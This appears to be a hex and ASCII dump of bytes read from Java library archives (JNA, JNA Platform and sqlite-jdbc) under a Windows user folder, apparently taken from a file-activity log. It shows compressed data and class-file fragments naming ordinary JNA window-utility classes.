ea f2 32 a2 14 9f 28 
ea 8f 46 f8 a5 7e 3b 
ae c1 c8 47 f2 bd 29 
88 c2 01 65 d0 b3 c0 
c4 27 8e 88 0e f5 f1 
e7 03 14 f3 87 b0 b9 
82 a2 cc 19 a5 b4 a7 
bf 59 d5 b7 79 54 e9 
05 c0 91 6c 3e 9d b6 
bf f9 74 5f 2b fd ac 24 
db 4f fa 2b e4 35 9d fe 
56 2a fd bc 93 41 3f 
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 a7 7c a3 c7 d9 21 95 
bf 96 01 2f b2 ff 2a 05 
e3 85 b7 d0 af 31 51 
38 66 c2 bb ec 23 7e 
3d 79 76 70 2f 2f 50 
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56 8b 75 7c 0b 96 10 
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1c a1 6c cd 7f 33 6a 
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4e e7 bd f1 bf 9f 50 a1 
f3 de e8 ee a0 13 95 
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85 90 15 f7 8d 7a 27 
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9a 76 9c 9a 1c c2 99 
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9b 35 6c d8 b0 c2 43 
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8d 1f 84 09 58 7f 0b 
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0a 00 0f 00 4e 09 00 
12 00 4f 07 00 50 0a 
00 0f 00 51 0b 00 12 
00 52 0b 00 12 00 53 
07 00 54 07 00 55 07 
00 56 01 00 05 76 61 
6c 24 77 01 00 11 4c 
6a 61 76 61 2f 61 77 
74 2f 57 69 6e 64 6f 
77 3b 01 00 09 76 61 
6c 24 61 6c 70 68 61 
01 00 01 46 01 00 06 
74 68 69 73 24 30 01 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 11 fe fd 04 e3 9a d9 
84 ae 34 18 04 6c 97 
32 e2 28 c5 ed 54 7c 
97 28 83 72 da 03 5d 
e3 5b 23 f4 31 98 86 
e0 45 f2 63 ad de ef 
b8 19 66 80 81 d7 c7 
c0 bb b2 98 cd c0 2c 
36 03 65 f4 f3 84 8b 4f 
77 ae e0 d3 2b 56 03 
e0 d9 3e 24 59 df 35 
61 cb 03 c3 f4 31 95 
a8 a8 56 f4 15 01 60 
8b 36 04 ac 1f 10 48 
ad 6b 31 56 5d 65 e1 
ff d9 78 7c d6 b5 e1 
31 6d 57 a6 1c 61 63 
da 78 91 c0 86 23 78 
e0 ea f1 60 c8 9b a3 
89 0e 4e 5f d6 70 2c 
8f e1 58 31 c3 b1 59 
f4 f3 4a 19 fd bc e5 a2 
9f 77 56 d0 cf ba d5 f4 
b3 65 2d 21 97 2f 9b 
e1 58 06 c3 b1 34 86 
63 a9 f8 e3 1e 3f f1 58 
16 ee 1a fc 81 61 96 
89 61 16 61 23 c3 2c 
c4 c8 80 67 c7 e5 30 
66 21 6a 9a 58 e1 63 
54 d8 0a 9c dd da 10 
de 0e 89 40 e5 d3 fd 
f4 d3 cc 40 f2 25 fc 3b 
0c c8 54 b1 01 30 a9 
96 ba a3 2a c2 61 34 
64 8c d8 75 14 
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2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 58 31 31 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 32 01 00 10 
6a 61 76 61 2f 6c 61 
6e 67 2f 4f 62 6a 65 
63 74 01 00 12 6a 61 
76 61 2f 6c 61 6e 67 
2f 52 75 6e 6e 61 62 
6c 65 01 00 24 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
57 69 6e 64 6f 77 01 
00 25 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 44 69 73 
70 6c 61 79 01 00 13 
6a 61 76 61 2f 6c 61 
6e 67 2f 54 68 72 6f 
77 61 62 6c 65 01 00 
0e 73 65 74 57 69 6e 
64 6f 77 41 6c 70 68 
61 01 00 15 28 4c 6a 
61 76 61 2f 61 77 74 
2f 57 69 6e 64 6f 77 
3b 46 29 56 01 00 20 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 

p..1com/sun/jna/platform/
Windo
wUtils$X11WindowUtils$2.
..java
/lang/Object...java/lang/Ru
nna
ble..$com/sun/jna/platform/
uni
x/X11$Window..%com/sun
/jna/pla
tform/unix/X11$Display...ja
va/
lang/Throwable...setWindo
wAlpha...
(Ljava/awt/Window;F)V.. 
com/sun/jna/platf
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93 21 ac ee ab d8 0a 
77 ce 83 5e 0a 9a 5e 
86 b6 d9 10 dc 83 c9 
50 a4 97 43 31 de 03 
fa 28 e8 ab 8f 86 d1 
fa 18 98 ac 8f 83 29 
7a 05 9c a8 8f 87 55 
fa b1 b0 5a 9f 08 67 
e9 93 60 93 3e 05 ae 
d0 a7 c2 b5 fa 34 f8 
b5 3e c3 49 14 47 a9 
cb ff c4 1f c7 5d 18 6d 
1f 7f 08 14 4a 7d 70 
d7 9e c0 ba 13 9d ba 
29 48 07 f4 85 1b 87 
b3 9c ba d5 aa dd 93 
8a 05 36 3b bb bb 19 
77 97 84 c5 15 90 ad 
a8 20 91 3d 68 cd b5 
cf 69 4f 49 30 aa 15 
ee 7d 3c 70 ab fb a7 
ea fc a9 69 3a 7f 7a 
b9 ce 8d 88 ce 9f e9 
73 00 ba e1 76 f3 67 
49 c0 e2 b8 c3 ec ad 
7e 4e 6d f5 f3 d6 56 
c3 b9 b6 3a ca 47 24 
d7 e1 ce 56 85 94 e5 
a3 23 9a eb 5d 99 b8 
4a 15 e9 73 c1 d0 e7 
a1 cd 7d 3c e4 e9 b5 
2e 3e ce b7 17 61 40 
96 a5 

Q.....q...Rd.....x.P...{.....!
.....w..^..^.......P..C1...(..
.........)z.....U...Z..g..`.>.
......4..>.I.G......].m....J}p
.......)H..............6;...w....... 
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c9 d8 cd ce b8 1f d8 
0e 67 12 eb 17 af 9a 
71 ad d7 a1 dc bb 1e 
b5 f6 2b e8 e7 bd 0d 
23 8c d7 70 b9 9f aa 
45 ff 93 9d 05 94 60 
9d 89 80 0a 76 26 62 
fb 6c bc 9f 83 3c 37 0f 
ef e7 22 e6 48 d3 9e 
87 72 f8 16 bc 9f 3f 30 
83 5d 80 f7 0b f1 fd 2c 
bc 5f e4 c9 40 5b 4f 
b0 8b 3d 19 6c a3 02 
de 60 1b ec 7b ab 75 
ff 7f 50 4b 03 04 0a 00 
00 08 08 00 8c 8c 5e 
4f be 38 8d 21 a2 01 
00 00 43 03 00 00 26 
00 00 00 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 53 74 72 75 63 74 
75 72 65 52 65 61 64 
43 6f 6e 74 65 78 74 
2e 63 6c 61 73 73 85 
52 5d 4f e2 40 14 3d 
03 85 0a 56 59 c1 5d 
c4 4f 74 75 17 2a b1 
89 3e 6a 7c 21 e1 89 
f8 20 86 37 1f c6 32 
6a 4d 69 4d 3b 

L.....`....{Y......9......K...)
{..,.~?L..6.........g.....q..
......+....#..p...E.....`....v
&b.l...<7...".H...r....?0.]...
..,._..@[O..=.l...`..{.u..PK..
........^O.8.!....C...&...com/
sun/jna/StructureReadCont
ext.c
lass.R]O.@.=...VY.].Otu.*..
>j|!... .7..2jMiM;
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00 24 00 00 00 52 00 
14 00 00 06 b0 00 04 
06 b1 00 0c 06 b2 00 
10 06 b3 00 11 06 b5 
00 19 06 b6 00 22 06 
b7 00 2a 06 b8 00 2f 
06 b7 00 38 06 bc 00 
47 06 bd 00 52 06 be 
00 5a 06 bf 00 67 06 
c3 00 6b 06 be 00 71 
06 c7 00 79 06 c8 00 
7c 06 c7 00 86 06 c8 
00 89 06 c9 00 25 00 
00 00 3e 00 06 00 47 
00 2a 00 2a 00 2b 00 
04 00 52 00 1f 00 2c 
00 2d 00 05 00 19 00 
58 00 2e 00 31 00 03 
00 00 00 8a 00 26 00 
27 00 00 00 04 00 86 
00 32 00 33 00 01 00 
0c 00 7e 00 34 00 37 
00 02 00 38 00 00 00 
19 00 05 fd 00 11 07 
00 39 07 00 3a fc 00 
26 07 00 3b fa 00 38 
4a 07 00 3c 0c 00 03 
00 3d 00 00 00 02 00 
3e 00 3f 00 00 00 04 
00 01 00 40 00 1f 00 
00 00 2a 00 05 00 01 
00 41 00 1e 00 0a 00 
16 00 00 00 00 00 00 
00 2f 00 

......q.|...|.~.|.....$...R...

........................"...*.
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74 69 76 65 43 6f 6e 
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63 6c 61 73 73 75 ce 
bd 0a c2 30 10 07 f0 
7f aa b6 d6 0f 10 04 
37 f7 ea 60 c0 55 71 
29 38 15 1d da 17 88 
25 48 4b 4d 24 4d 8b 
be 9a 83 0f e0 43 89 
89 3a 88 e2 2d 77 1c 
bf fb b8 dd 2f 57 00 73 
f4 3d 74 3d f4 08 da 
5a 6e 98 ce 6a 4e 10 
06 51 ce 6a 46 0b 26 
f6 74 bb cb 79 aa 17 
51 2a 0f b4 ac 04 cd 
05 a3 c9 9b 86 52 68 
7e d2 8b c9 af 27 e8 
88 a7 49 ce 47 b3 72 
18 7c 9a b0 60 65 69 
88 1f 67 7b a3 2a 65 
c4 e8 57 2c a7 2b bb 
27 96 95 4a f9 3a 2b 
ac fa 38 5d 73 a5 b9 
9a d9 21 82 f1 9f ff 5e 
88 60 f0 fd a1 4b 40 
e0 c0 86 d3 24 68 a0 
09 98 dc 82 6b fa 9e 
ed a2 6d 2a ff 59 75 
1e 50 4b 03 04 0a 00 
00 08 08 00 8c 8c 5e 
4f dc 53 e8 6e 87 00 
00 

....0...#...com/sun/jna/ToNa
ti
veConverter.classu....0......
.
...7..`.Uq)8.....%HKM$M.....
.C..:..-
w...../W.s.=t=...Zn..jN.
.Q.jF.&.t..y..Q*..........Rh~.
...'...I.G.r.|..`ei..g{.*e..W,
.+.'..J.:+..8]s....!....^.`...
K@....$h.....k....m*.Yu.PK..
........^O.S.n...
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33 2e 63 6c 61 73 73 
ca fe ba be 00 00 00 
32 00 73 09 00 14 00 
3d 09 00 14 00 3e 09 
00 14 00 3f 0a 00 15 
00 40 07 00 41 0b 00 
05 00 42 0a 00 43 00 
44 0a 00 43 00 45 07 
00 46 0a 00 09 00 47 
0a 00 09 00 48 0a 00 
43 00 49 07 00 4b 0a 
00 0d 00 4d 09 00 4e 
00 4f 0a 00 4e 00 50 
0a 00 1c 00 51 0a 00 
1c 00 52 0a 00 1c 00 
53 07 00 54 07 00 55 
07 00 56 01 00 05 76 
61 6c 24 77 01 00 11 
4c 6a 61 76 61 2f 61 
77 74 2f 57 69 6e 64 
6f 77 3b 01 00 0f 76 
61 6c 24 74 72 61 6e 
73 70 61 72 65 6e 74 
01 00 01 5a 01 00 06 
74 68 69 73 24 30 07 
00 57 01 00 0e 58 31 
31 57 69 6e 64 6f 77 
55 74 69 6c 73 01 00 
0c 49 6e 6e 65 72 43 
6c 61 73 73 65 73 01 
00 31 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 58 31 

wUtils$3.class.......2.s....=.
...>....?....@..A....B..C.D..C
.E..F....G....H..C.I..K....M..
N.O..N.P....Q....R....S..T..U
.
.V...val$w...Ljava/awt/Wind
ow;
...val$transparent...Z...this
$
0..W...X11WindowUtils...In
nerC
lasses..1Lcom/sun/jna/plat
form/WindowUtils$X1
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b0 7f cb 1f a3 fe 25 46 
fa b7 e0 64 28 ba 88 
02 10 b6 76 1a cf 23 
f1 d3 28 36 22 b4 cd 
b4 88 1b 70 ec e3 53 
d1 1e 2e df 81 5b 3b 
39 ac b6 3e 18 ce 30 
90 e2 be 70 6d e5 d7 
b8 17 ee 8b ce c3 18 
f9 68 bd f6 d9 eb 52 
33 6b 57 50 53 4b fb 
89 be 29 29 a2 3b 07 
4f 98 38 be 15 e5 09 
c7 7e 2e 7e 45 cf f8 
0d d2 f8 3f 05 b2 58 
e4 87 5e f9 9b 3e a6 
59 fa d1 26 a9 36 b9 
32 1c 4d f2 05 3f 76 
34 12 5c d2 05 b7 45 
39 97 f9 6a 14 93 b6 
89 28 45 fd b4 8d 19 
2f 30 48 1f 46 b5 22 
8d 2c 1f 34 b2 7c d0 
c8 f2 41 23 8b 12 03 
f9 79 a4 da 53 4c 40 
bb 74 4a 39 4e 47 8e 
f2 d3 e8 09 a6 49 51 
f6 b2 27 46 bb 34 ce 
2e cd 4f 0d e4 a7 50 
80 96 fc 5c a6 b1 4d 
4c 43 3a 69 c1 e9 be 
4b 94 

..B.........Q........m.....Q.B

.ZX.:......%F...d(.....v..#..(
6".....p..S.....[;9..>..0...pm
..........h....R3kWPSK...)).;.
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.&.6.2.M..?v4.\...E9..j....(E.
.../0H.F.".,.4.|...A#....y..SL
@.tJ9NG......IQ..'F.4...O...
P...\..MLC:i...K.
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 bd ac c4 b2 44 46 06 
c9 e4 fc 5c fd e2 d2 
3c fd ac bc 44 7d 14 
05 8c 0c 02 20 25 fa 
39 89 79 e9 fa fe 49 
59 a9 c9 25 8c 0c f2 
c8 ca dd 8a f2 73 fd 
12 4b 32 cb 90 35 c9 
a2 18 98 8f 26 cf c6 
c8 c0 c8 c0 04 84 cc 
0c 2c 0c 20 c0 c8 c0 
0a 24 99 18 d8 00 50 
4b 03 04 0a 00 00 08 
08 00 8b 8c 5e 4f 4e 
91 db 6e cc 00 00 00 
ab 01 00 00 1c 00 00 
00 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 54 
79 70 65 4d 61 70 70 
65 72 2e 63 6c 61 73 
73 3b f5 6f d7 3e 06 
06 06 23 06 3e 76 06 
1e 76 06 5e 46 06 b1 
f4 d4 12 b7 a2 fc 5c bf 
c4 92 cc b2 54 e7 fc 
bc b2 d4 a2 92 d4 22 
46 06 13 0d 9f ac c4 
b2 44 fd 9c c4 bc 74 
7d e7 9c c4 e2 62 6b 
4d 9f e4 fc 5c fd e2 d2 
3c fd ac bc 44 7d 2c 
ba ac 19 19 38 83 33 
d3 f3 12 4b 4a 8b 52 
19 19 cc 31 8c b0 d1 
b2 23 ca 14 11 a0 ab 
42 f2 31 dc 64 44 c8 
4d 

....DF....\...<...D}..... %.9.
y...IY..%........s..K2..5.....
&..........,. ....$....PK.....
.....^ON..n............com/sun
/jna/TypeMapper.class;.o.>
...#.>v..v.^F........\.....T......
.."F.......D....t}....bkM...\...
<...D},....8.3...KJ.R...1...
.#.....B.1.dD.M
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11 33 36 5a 60 8b 87 
29 19 25 8c f5 ef 75 
84 ae f7 e1 cd 6f 5f 93 
3f 2d be 2a 52 f9 2a 
f2 fc cd da e9 b7 b1 
3c a1 66 8a d1 78 96 
ad 9b fc 0c bc 96 76 
b3 76 1a 8b af 65 6f 
63 d3 35 88 29 ae 07 
1c 2b d7 5c d3 06 3f 
a7 c3 0c 48 8f 29 9d 
b6 43 3a ce b0 15 4f 
17 04 db 71 ba 78 ef 
81 15 ec 4b d5 76 6a 
bb 9d 4c a5 b7 c5 2c 
67 ab 76 40 43 c4 d7 
f5 69 10 42 bd 89 d1 
64 1f d3 4c 0a 3e a4 
5a 6a ab 48 1a 68 c7 
5a 19 36 cb b0 45 86 
6d 32 dc 6c e0 0c 6e 
61 2b 9e aa d0 8e 64 
d2 3c 26 65 ca 62 36 
70 16 13 22 97 31 f0 
53 4c b2 b6 0d bc 80 
73 06 7e 86 9f b3 ba 
a6 e9 1f 06 5e c4 4b 
06 7e 81 5f 1a f8 95 
a8 fd 35 5e d6 f1 8a 
81 f3 78 55 c7 6f 34 
2c be 2a bd 06 0e e0 
a0 81 d5 58 a3 61 c9 
94 9a ae 58 cc 1a 34 
63 1d 

..".4%tW.Ng.p....MbO..36Z
`..).%...u.....o_.?-.*R.*.......
<.f..x.......v.v...eoc.5.)...+.\.
.?...H.)..C:...O...q.x....K.vj
..L...,g.v@C...i.B...d..L.>.Zj
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<&e
.b6p..".1.SL.....s.~........^.
K.~._.....5^.....xU.o4,.*.....
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 5e 4f d4 85 ff 62 cc 0b 
00 00 cc 0b 00 00 37 
00 00 00 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 58 31 31 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 34 2e 63 6c 61 
73 73 ca fe ba be 00 
00 00 32 00 79 09 00 
11 00 47 09 00 11 00 
48 09 00 11 00 49 0a 
00 12 00 4a 09 00 4b 
00 4c 0b 00 4b 00 4d 
0a 00 17 00 4e 0b 00 
1a 00 4f 09 00 0a 00 
50 07 00 51 09 00 36 
00 52 0b 00 0a 00 53 
0b 00 4b 00 54 0b 00 
4b 00 55 0a 00 17 00 
56 0a 00 17 00 57 07 
00 58 07 00 59 07 00 
5a 01 00 05 76 61 6c 
24 77 01 00 11 4c 6a 
61 76 61 2f 61 77 74 
2f 57 69 6e 64 6f 77 
3b 01 00 07 76 61 6c 
24 73 72 63 07 00 5c 
01 00 0e 58 31 31 57 
69 6e 64 6f 77 55 74 
69 6c 73 01 00 0c 49 
6e 6e 65 72 43 6c 61 
73 73 65 73 07 00 5d 
01 00 0c 50 69 78 6d 
61 70 

^O...b........7...com/sun/jna/
platform/WindowUtils$X11
Window
Utils$4.class.......2.y....G..
..H....I....J..K.L..K.M....N..
..O....P..Q..6.R....S..K.T..K.
U....V....W..X..Y..Z...val$w.
.
.Ljava/awt/Window;...val$s
rc..
\...X11WindowUtils...Inner
Classes..]...Pixmap
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c9 76 1c eb 54 1c eb 
3d 46 b1 64 5e 06 2c 
15 2f 71 e8 c5 19 52 
85 4b 94 e3 6a ee 8f 
f3 be 52 ce ec 33 2b 
eb 5c 17 0c fc ca 7a 
e3 6e 90 21 5e ac 33 
b6 08 14 de de c2 5b 
5b 2d f2 84 5c 3b 50 
36 2b 1a 08 57 ea d0 
c8 5e b1 16 c1 9c 42 
db c7 a0 59 58 72 ea 
99 a3 37 9a 5b 3c f3 
d0 4e 63 98 b5 05 27 
cf 8e cd db 8c 99 fb 
db 9f ce 50 6b f1 c0 
58 3d 5f 3d 46 17 c9 
3b 7b 5a 3a 82 d9 78 
8a 80 72 2d 1f 88 5b 
15 ad 02 33 da 78 30 
54 11 46 4d b6 c9 d3 
8c 68 34 f8 06 d0 f1 
d3 21 d8 9c 1f ed 46 
71 f0 6e 4d f0 53 02 f7 
cc 54 a1 cd 3a 3a d5 
d9 0f 31 ba 2c 1a 96 
9c cf bd 0a 17 cc 64 
ed 42 a3 f0 aa 4c 37 
b2 9b d9 c7 ac 29 76 
e9 1f 6c 6b 70 89 28 
c8 d6 34 b5 41 2c 79 
1f 4f 3b 88 fc bb ad d8 
ae 28 c7 aa 2b 56 50 
09 aa c0 9d 8d 5d 5a 
63 97 ad ab 9c 8f 6b 
b1 

:.].....v..T..=F.d^.,./q...R.K
..j....R..3+.\....z.n.!^.3......[[-
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 58 31 31 
57 69 6e 64 6f 77 55 
74 69 6c 73 3b 01 00 
06 3c 69 6e 69 74 3e 
01 00 83 28 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 58 31 31 57 
69 6e 64 6f 77 55 74 
69 6c 73 3b 4c 6a 61 
76 61 2f 61 77 74 2f 
57 69 6e 64 6f 77 3b 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 57 69 6e 64 6f 77 
55 74 69 6c 73 24 58 
31 31 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
50 69 78 6d 61 70 53 
6f 75 72 63 65 3b 29 
56 01 00 04 43 6f 64 
65 01 00 0f 4c 69 6e 
65 4e 75 6d 62 65 72 
54 61 62 6c 65 01 00 
12 4c 6f 63 61 6c 56 
61 72 69 61 62 6c 65 
54 61 62 6c 65 01 00 
04 74 68 69 73 01 00 
33 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 

jna/platform/WindowUtils$
X11WindowUtils;...<init>...
(Lcom/su
n/jna/platform/WindowUtils
$X11
WindowUtils;Ljava/awt/Win
dow;L
com/sun/jna/platform/Wind
owUti
ls$X11WindowUtils$Pixma
pSource
;)V...Code...LineNumberTa
ble..
.LocalVariableTable...this..
3Lcom/sun/jna/pla
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77 01 00 25 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 75 6e 69 
78 2f 58 31 31 24 44 
69 73 70 6c 61 79 01 
00 24 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 50 69 78 
6d 61 70 01 00 1d 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 01 
00 13 6a 61 76 61 2f 
6c 61 6e 67 2f 54 68 
72 6f 77 61 62 6c 65 
01 00 0f 6a 61 76 61 
2f 61 77 74 2f 57 69 
6e 64 6f 77 01 00 0e 
73 65 74 57 69 6e 64 
6f 77 53 68 61 70 65 
01 00 52 28 4c 6a 61 
76 61 2f 61 77 74 2f 
57 69 6e 64 6f 77 3b 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 57 69 6e 64 6f 77 
55 74 69 6c 73 24 58 
31 31 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
50 69 78 6d 61 70 53 
6f 75 

1$Window..%com/sun/jna/
platfor
m/unix/X11$Display..$com
/sun/j
na/platform/unix/X11$Pixm
ap...
com/sun/jna/platform/unix/
X11.
..java/lang/Throwable...jav
a/a
wt/Window...setWindowSh
ape..R(
Ljava/awt/Window;Lcom/s
un/jna/
platform/WindowUtils$X11
WindowUtils$PixmapSou
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 f2 cf 2d c6 c3 4e ee 
cb 8f 38 6e 24 d0 dd 
8b 27 1a 41 94 ce 16 
7c 79 3a 01 e6 20 25 
bd c1 92 53 87 9a 59 
16 bf 0c 39 bc 15 a4 
ef e9 84 a7 ae 25 b0 
b4 fa 85 51 94 d0 6b 
eb db e8 2b bb c4 18 
28 24 11 4f 19 f6 fb 24 
84 3a 95 ec 44 c2 86 
97 e1 a9 76 36 a3 cd 
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87 76 b1 be 4e b5 a1 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 79 3b 01 00 0a 61 63 
63 65 73 73 24 39 30 
30 01 00 3c 28 4c 6a 
61 76 61 2f 61 77 74 
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65 6e 74 3b 29 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
57 69 6e 64 6f 77 3b 
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75 28 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
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74 66 6f 72 6d 2f 75 
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2f 70 6c 61 74 66 6f 
72 6d 2f 75 6e 69 78 
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78 6d 61 70 3b 01 00 
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43 6f 6d 62 69 6e 65 
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70 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 4b 07 48 00 54 07 
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23 c6 9f 3f 50 bf 56 8f 
f3 ca 3f f7 3c 48 5b c1 
aa 28 e8 fe d8 2e fd 
c7 c0 fb 80 62 c1 77 
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a4 2c 3c 87 31 ce fa 
a0 23 4a 90 3e 95 a6 
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 77 db f4 9e 7a c5 ca 
72 49 58 87 c2 63 48 
6d 0a b3 7c d5 19 59 
b2 1d db 7f cc a0 a5 
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b5 7a f3 96 7b 64 54 
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76 a5 ee 5b 13 7e c9 
dd 63 e8 ce 1f 98 6f 
4d a3 6c 3a 45 c3 13 
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6e a1 6a 95 6a e1 67 
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69 6e 64 6f 77 55 74 
69 6c 73 24 35 2e 63 
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09 00 05 00 28 09 00 
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24 72 61 73 74 65 72 
01 00 17 4c 6a 61 76 
61 2f 61 77 74 2f 69 
6d 61 67 65 2f 52 61 
73 74 65 72 3b 01 00 
06 74 68 69 73 24 30 
07 00 31 01 00 0e 58 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 33 95 03 53 55 5e 34 
ab 31 8a 75 96 5d 55 
7b f5 54 3d f2 52 a8 
27 09 6b 0c 71 d7 2a 
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b7 4c 29 5b 64 88 ea 
e6 1e 3f a1 72 74 a8 
c3 a9 55 ca c4 c5 4d 
8d c4 87 33 a5 52 2b 
7a 91 12 ff 44 09 23 
ea b8 aa 4d 3a 61 6e 
ee 31 24 cb 56 cd d6 
f8 ba 2e ae 4d f6 af 68 
5a 24 cb e8 c3 3a c3 
c8 85 d0 56 cd 30 9e 
5b ba e9 72 7b ed 44 
e3 47 ae 6e 99 0c e3 
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26 65 09 ad 7e 19 3d 
e8 65 e8 6d 33 13 19 
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66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
44 69 73 70 6c 61 79 
01 00 24 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 75 6e 69 78 
2f 58 31 31 24 57 69 
6e 64 6f 77 01 00 24 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 75 
6e 69 78 2f 58 31 31 
24 50 69 78 6d 61 70 
01 00 07 73 65 74 4d 
61 73 6b 01 00 2e 28 
4c 6a 61 76 61 2f 61 
77 74 2f 43 6f 6d 70 6f 
6e 65 6e 74 3b 4c 6a 
61 76 61 2f 61 77 74 
2f 69 6d 61 67 65 2f 
52 61 73 74 65 72 3b 
29 56 01 00 03 28 29 
56 01 00 0b 61 63 63 
65 73 73 24 31 31 30 
30 01 00 8c 28 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
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om/sun/jna/platform/unix/X
11$D
isplay..$com/sun/jna/platfo
rm/
unix/X11$Window..$com/s
un/jna/
platform/unix/X11$Pixmap.
..setMask...
(Ljava/awt/Component;Lj
ava/awt/image/Raster;)V...
()V...access$1100...
(Lcom/sun/jna/
platform/unix/X11$Display;
Lcom/sun/jna/platfo
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 6a 28 a9 4d bd a0 fa 
18 01 f6 85 51 dc 26 
79 18 f9 2d 62 28 6e 
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b5 
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08 0d ad 08 28 9a a4 
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41 8d b9 16 30 b9 09 
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88 fc 54 1d 9d 41 81 
42 0b 4a a2 89 92 c0 
2d 4c 79 a5 a7 bd a9 
09 a9 0d ba db 30 ad 
49 4f 6a b8 8e 4b c1 
11 2e 7b 5a e9 c6 a9 
a6 56 12 b7 3d 2d e1 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6f 72 6d 2f 57 69 6e 
64 6f 77 55 74 69 6c 
73 06 00 00 01 00 02 
00 00 00 00 00 01 04 
01 00 03 00 0b 00 00 
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09 00 13 00 0a 00 09 
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00 00 08 00 00 96 8c 
5e 4f 26 ef 8a 4a 37 
14 00 00 37 14 00 00 
4f 00 00 00 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 58 31 31 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 58 31 31 54 72 
61 6e 73 70 61 72 65 
6e 74 43 6f 6e 74 65 
6e 74 50 61 6e 65 2e 
63 6c 61 73 73 ca fe 
ba be 00 00 00 32 00 
e2 09 00 27 00 79 0a 
00 28 00 7a 09 00 27 
00 7b 0a 00 7c 00 7d 
09 00 1b 00 7e 0b 00 
1b 00 7f 0a 00 34 00 
80 07 00 81 0a 00 08 
00 82 

orm/WindowUtils...............
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....4..........
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22 9c 8a 0d ef 88 8f 
44 ba 65 2b f9 50 93 
62 9c 6b 29 7d 5a a7 
19 7d 5a 6d f0 4d 2e 
bc 09 f8 1a 89 41 2c 
89 73 3e c8 42 cb e9 
3e 90 af c9 a4 4b 4c 
c0 e6 fe 48 be dd 6d 
ca 7b 02 34 68 c3 3d 
10 2b ff e1 bb e4 20 
ed de 29 a2 cc f2 d5 
9f c2 1e 51 8e e9 99 
6d e4 94 71 4a 79 56 
40 37 8d 7c 11 83 22 
94 06 f2 47 a7 72 f0 
77 2c 7a 8a 2c 49 c5 
cd 1d 8b 54 92 66 97 
1e 37 c2 10 57 b1 4e 
74 25 2b d5 76 da e5 
be 16 91 f8 ef 18 a7 
ae d7 a0 d0 08 be 46 
13 ca 18 75 8a eb 11 
9f af d7 7e b8 28 55 
00 24 0a 41 de 7c 38 
8d 09 77 d9 76 a9 a2 
16 f3 a5 db 4b f2 33 
ec 00 78 79 06 d0 96 
1f 71 73 29 a7 19 33 
c1 4d aa 75 98 22 5b 
4d 31 6c f7 96 b6 58 
76 92 5e 31 6d 95 54 
f4 22 ca 06 cf af 83 fb 
22 fe 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 ef 01 06 48 96 ae e4 
28 fe d9 ff 68 d7 00 f7 
27 c9 7a 8a 42 0e cb 
66 14 b6 8b 8a 25 c2 
10 a8 67 71 b2 58 77 
2c 5e 6c 6f 96 a7 a4 
45 4d 31 8b 25 67 70 
bb f5 b2 28 f7 cb 6c 0c 
f5 2b ed 94 37 ef c9 
16 dd 75 b3 41 de 70 
9e a5 cc 30 f8 b0 a4 
95 28 34 94 77 77 a4 
